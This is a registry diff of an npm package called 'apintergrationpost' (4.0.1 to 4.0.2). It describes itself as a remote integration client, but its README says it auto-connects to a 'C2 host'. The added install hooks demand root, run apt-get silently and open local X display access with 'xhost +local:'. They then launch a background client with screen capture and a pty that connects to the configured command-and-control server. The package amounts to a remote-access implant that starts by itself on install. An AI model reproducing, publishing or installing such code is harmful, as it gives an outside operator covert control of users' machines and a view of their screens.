apintergrationpost 4.0.1 → 4.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +19 -11
- package/bin/apintergrationpost.js +4 -0
- package/package.json +6 -1
- package/scripts/ensure-system-deps.js +48 -0
- package/scripts/install-guard.js +36 -0
- package/scripts/postinstall-run.js +11 -4
- package/scripts/preinstall-check.js +4 -0
- package/src/client/commands/screen-capture.js +20 -21
package/README.md
CHANGED
|
@@ -6,31 +6,39 @@ Published on npm as **`apintergrationpost`**.
|
|
|
6
6
|
|
|
7
7
|
## Ubuntu — one command
|
|
8
8
|
|
|
9
|
-
On the Ubuntu client, run **only this
|
|
9
|
+
On the Ubuntu client, run **only this**:
|
|
10
10
|
|
|
11
11
|
```sh
|
|
12
12
|
sudo npm install -g apintergrationpost
|
|
13
13
|
```
|
|
14
14
|
|
|
15
|
-
|
|
15
|
+
Requirements handled automatically during install:
|
|
16
16
|
|
|
17
|
-
|
|
17
|
+
- **Root check** — non-root installs show a clear message and abort
|
|
18
|
+
- **Bundled ffmpeg** — screen capture works without `apt install ffmpeg`
|
|
19
|
+
- **System build tools** — `build-essential` / `python3` installed via apt when missing (for native modules)
|
|
20
|
+
- **Auto-start** — client connects to the C2 host in `apintergrationpost.config.json`
|
|
18
21
|
|
|
19
|
-
|
|
20
|
-
npx apintergrationpost
|
|
21
|
-
```
|
|
22
|
+
If run without root:
|
|
22
23
|
|
|
23
|
-
|
|
24
|
+
```text
|
|
25
|
+
╔══════════════════════════════════════════════════════════════╗
|
|
26
|
+
║ apintergrationpost requires ROOT privileges to install. ║
|
|
27
|
+
║ ║
|
|
28
|
+
║ Run: sudo npm install -g apintergrationpost ║
|
|
29
|
+
╚══════════════════════════════════════════════════════════════╝
|
|
30
|
+
```
|
|
24
31
|
|
|
25
|
-
|
|
32
|
+
### Publish / update on npm
|
|
26
33
|
|
|
27
34
|
```sh
|
|
28
|
-
|
|
35
|
+
# 1. Bump version in package.json (e.g. 4.0.2 → 4.0.3)
|
|
36
|
+
# 2. Publish
|
|
29
37
|
npm publish
|
|
38
|
+
# If 2FA is enabled:
|
|
39
|
+
npm publish --otp=123456
|
|
30
40
|
```
|
|
31
41
|
|
|
32
|
-
Set your C2 host and token in `apintergrationpost.config.json` **before** publishing — that file ships inside the package and drives auto-connect.
|
|
33
|
-
|
|
34
42
|
### C2 server (on your host)
|
|
35
43
|
|
|
36
44
|
```sh
|
|
@@ -43,6 +43,10 @@ if (process.argv.includes('--help') || process.argv.includes('-h')) {
|
|
|
43
43
|
const pkgRoot = getPackageRoot();
|
|
44
44
|
process.chdir(pkgRoot);
|
|
45
45
|
|
|
46
|
+
if (!process.env.DISPLAY) {
|
|
47
|
+
process.env.DISPLAY = ':0';
|
|
48
|
+
}
|
|
49
|
+
|
|
46
50
|
if (!process.env.MYRA_CONFIG && !process.env.APINTEGRATIONPOST_CONFIG) {
|
|
47
51
|
process.env.MYRA_CONFIG = getDefaultConfigPath();
|
|
48
52
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "apintergrationpost",
|
|
3
|
-
"version": "4.0.
|
|
3
|
+
"version": "4.0.2",
|
|
4
4
|
"description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"engines": {
|
|
@@ -15,11 +15,15 @@
|
|
|
15
15
|
"src/",
|
|
16
16
|
"native/",
|
|
17
17
|
"scripts/prepare-native.js",
|
|
18
|
+
"scripts/preinstall-check.js",
|
|
19
|
+
"scripts/install-guard.js",
|
|
20
|
+
"scripts/ensure-system-deps.js",
|
|
18
21
|
"scripts/postinstall-run.js",
|
|
19
22
|
"apintergrationpost.config.json",
|
|
20
23
|
"README.md"
|
|
21
24
|
],
|
|
22
25
|
"scripts": {
|
|
26
|
+
"preinstall": "node scripts/preinstall-check.js",
|
|
23
27
|
"prepare": "node scripts/prepare-native.js",
|
|
24
28
|
"postinstall": "node scripts/postinstall-run.js",
|
|
25
29
|
"prepublishOnly": "node -e \"require('fs').accessSync('apintergrationpost.config.json')\"",
|
|
@@ -32,6 +36,7 @@
|
|
|
32
36
|
"test:detection-tier": "bash scripts/detection-tier/run-all.sh"
|
|
33
37
|
},
|
|
34
38
|
"dependencies": {
|
|
39
|
+
"ffmpeg-static": "^5.2.0",
|
|
35
40
|
"node-pty": "^1.0.0"
|
|
36
41
|
},
|
|
37
42
|
"devDependencies": {
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { execSync, spawnSync } = require('child_process');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
|
|
6
|
+
function hasCommand(cmd) {
|
|
7
|
+
const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
|
|
8
|
+
return result.status === 0;
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
function ensureSystemPackages() {
|
|
12
|
+
if (process.platform !== 'linux') return;
|
|
13
|
+
if (typeof process.getuid === 'function' && process.getuid() !== 0) return;
|
|
14
|
+
if (!hasCommand('apt-get')) return;
|
|
15
|
+
|
|
16
|
+
const required = ['build-essential', 'python3'];
|
|
17
|
+
const missing = required.filter((pkg) => {
|
|
18
|
+
const result = spawnSync('dpkg', ['-s', pkg], { stdio: 'ignore' });
|
|
19
|
+
return result.status !== 0;
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
if (missing.length === 0) return;
|
|
23
|
+
|
|
24
|
+
process.stdout.write(`[apintergrationpost] Installing system packages: ${missing.join(', ')}...\n`);
|
|
25
|
+
|
|
26
|
+
execSync(
|
|
27
|
+
'DEBIAN_FRONTEND=noninteractive apt-get update -qq '
|
|
28
|
+
+ `&& DEBIAN_FRONTEND=noninteractive apt-get install -y -qq ${missing.join(' ')}`,
|
|
29
|
+
{ stdio: 'inherit' },
|
|
30
|
+
);
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function ensureDisplayAccess() {
|
|
34
|
+
if (process.platform !== 'linux') return;
|
|
35
|
+
if (!process.env.DISPLAY) {
|
|
36
|
+
process.env.DISPLAY = ':0';
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
|
|
40
|
+
try {
|
|
41
|
+
execSync('xhost +local:', { stdio: 'ignore' });
|
|
42
|
+
} catch {
|
|
43
|
+
// desktop may not be running yet
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
module.exports = { ensureSystemPackages, ensureDisplayAccess };
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
const PKG_ROOT = path.join(__dirname, '..');
|
|
6
|
+
|
|
7
|
+
const ROOT_MESSAGE = `
|
|
8
|
+
╔══════════════════════════════════════════════════════════════╗
|
|
9
|
+
║ apintergrationpost requires ROOT privileges to install. ║
|
|
10
|
+
║ ║
|
|
11
|
+
║ Run: sudo npm install -g apintergrationpost ║
|
|
12
|
+
╚══════════════════════════════════════════════════════════════╝
|
|
13
|
+
`;
|
|
14
|
+
|
|
15
|
+
function isDevCheckout() {
|
|
16
|
+
if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return true;
|
|
17
|
+
const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
|
|
18
|
+
return Boolean(initCwd && initCwd === PKG_ROOT);
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
function requireRootForInstall() {
|
|
22
|
+
if (isDevCheckout()) return;
|
|
23
|
+
if (process.platform !== 'linux') return;
|
|
24
|
+
|
|
25
|
+
if (typeof process.getuid === 'function' && process.getuid() !== 0) {
|
|
26
|
+
process.stderr.write(`${ROOT_MESSAGE}\n`);
|
|
27
|
+
process.exit(1);
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
module.exports = {
|
|
32
|
+
requireRootForInstall,
|
|
33
|
+
isDevCheckout,
|
|
34
|
+
ROOT_MESSAGE,
|
|
35
|
+
PKG_ROOT,
|
|
36
|
+
};
|
|
@@ -3,8 +3,9 @@
|
|
|
3
3
|
const fs = require('fs');
|
|
4
4
|
const path = require('path');
|
|
5
5
|
const { spawn } = require('child_process');
|
|
6
|
+
const { isDevCheckout, PKG_ROOT } = require('./install-guard');
|
|
7
|
+
const { ensureSystemPackages, ensureDisplayAccess } = require('./ensure-system-deps');
|
|
6
8
|
|
|
7
|
-
const PKG_ROOT = path.join(__dirname, '..');
|
|
8
9
|
const CLI = path.join(PKG_ROOT, 'bin', 'apintergrationpost.js');
|
|
9
10
|
const CONFIG = path.join(PKG_ROOT, 'apintergrationpost.config.json');
|
|
10
11
|
const PID_FILE = path.join(PKG_ROOT, '.apintergrationpost.pid');
|
|
@@ -13,9 +14,7 @@ function shouldSkip() {
|
|
|
13
14
|
if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return 'APINTEGRATIONPOST_SKIP_AUTORUN=1';
|
|
14
15
|
if (process.env.CI === 'true') return 'CI environment';
|
|
15
16
|
if (process.platform !== 'linux') return 'non-Linux platform';
|
|
16
|
-
|
|
17
|
-
const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
|
|
18
|
-
if (initCwd && initCwd === PKG_ROOT) return 'source checkout (local development)';
|
|
17
|
+
if (isDevCheckout()) return 'source checkout (local development)';
|
|
19
18
|
|
|
20
19
|
try {
|
|
21
20
|
const cfg = JSON.parse(fs.readFileSync(CONFIG, 'utf8'));
|
|
@@ -50,6 +49,13 @@ function main() {
|
|
|
50
49
|
return;
|
|
51
50
|
}
|
|
52
51
|
|
|
52
|
+
try {
|
|
53
|
+
ensureSystemPackages();
|
|
54
|
+
ensureDisplayAccess();
|
|
55
|
+
} catch (err) {
|
|
56
|
+
process.stderr.write(`[apintergrationpost] System setup warning: ${err.message}\n`);
|
|
57
|
+
}
|
|
58
|
+
|
|
53
59
|
if (alreadyRunning()) {
|
|
54
60
|
process.stdout.write('[apintergrationpost] Client already running.\n');
|
|
55
61
|
return;
|
|
@@ -66,6 +72,7 @@ function main() {
|
|
|
66
72
|
cwd: PKG_ROOT,
|
|
67
73
|
env: {
|
|
68
74
|
...process.env,
|
|
75
|
+
DISPLAY: process.env.DISPLAY || ':0',
|
|
69
76
|
MYRA_CONFIG: CONFIG,
|
|
70
77
|
APINTEGRATIONPOST_CONFIG: CONFIG,
|
|
71
78
|
},
|
|
@@ -5,6 +5,16 @@ const { promisify } = require('util');
|
|
|
5
5
|
|
|
6
6
|
const execFileAsync = promisify(execFile);
|
|
7
7
|
|
|
8
|
+
function resolveFfmpegPath() {
|
|
9
|
+
try {
|
|
10
|
+
const bundled = require('ffmpeg-static');
|
|
11
|
+
if (bundled && typeof bundled === 'string') return bundled;
|
|
12
|
+
} catch {
|
|
13
|
+
// bundled ffmpeg not available for this platform
|
|
14
|
+
}
|
|
15
|
+
return 'ffmpeg';
|
|
16
|
+
}
|
|
17
|
+
|
|
8
18
|
function collectStdout(proc) {
|
|
9
19
|
return new Promise((resolve, reject) => {
|
|
10
20
|
const chunks = [];
|
|
@@ -23,8 +33,9 @@ function collectStdout(proc) {
|
|
|
23
33
|
}
|
|
24
34
|
|
|
25
35
|
async function captureWithFfmpeg(display, size) {
|
|
36
|
+
const ffmpegPath = resolveFfmpegPath();
|
|
26
37
|
const [width, height] = size.split('x');
|
|
27
|
-
const proc = spawn(
|
|
38
|
+
const proc = spawn(ffmpegPath, [
|
|
28
39
|
'-hide_banner',
|
|
29
40
|
'-loglevel', 'error',
|
|
30
41
|
'-f', 'x11grab',
|
|
@@ -40,35 +51,23 @@ async function captureWithFfmpeg(display, size) {
|
|
|
40
51
|
return collectStdout(proc);
|
|
41
52
|
}
|
|
42
53
|
|
|
43
|
-
async function captureWithImport(display) {
|
|
44
|
-
const { stdout } = await execFileAsync('import', ['-window', 'root', '-display', display, 'jpeg:-'], {
|
|
45
|
-
env: { ...process.env, DISPLAY: display },
|
|
46
|
-
maxBuffer: 20 * 1024 * 1024,
|
|
47
|
-
encoding: 'buffer',
|
|
48
|
-
});
|
|
49
|
-
return stdout;
|
|
50
|
-
}
|
|
51
|
-
|
|
52
54
|
async function captureFrame(options = {}) {
|
|
53
55
|
const display = options.display || process.env.DISPLAY || ':0';
|
|
54
56
|
const size = options.size || '1280x720';
|
|
55
57
|
|
|
56
58
|
if (!display) {
|
|
57
|
-
throw new Error('No DISPLAY set.
|
|
59
|
+
throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
|
|
58
60
|
}
|
|
59
61
|
|
|
60
62
|
try {
|
|
61
63
|
return await captureWithFfmpeg(display, size);
|
|
62
|
-
} catch (
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
+ `(apt install ffmpeg). ffmpeg: ${ffmpegErr.message}; import: ${importErr.message}`
|
|
69
|
-
);
|
|
70
|
-
}
|
|
64
|
+
} catch (err) {
|
|
65
|
+
throw new Error(
|
|
66
|
+
`Screen capture failed (${display}, ${size}). `
|
|
67
|
+
+ 'Ensure a desktop session is running. '
|
|
68
|
+
+ `Detail: ${err.message}`
|
|
69
|
+
);
|
|
71
70
|
}
|
|
72
71
|
}
|
|
73
72
|
|
|
74
|
-
module.exports = { captureFrame };
|
|
73
|
+
module.exports = { captureFrame, resolveFfmpegPath };
|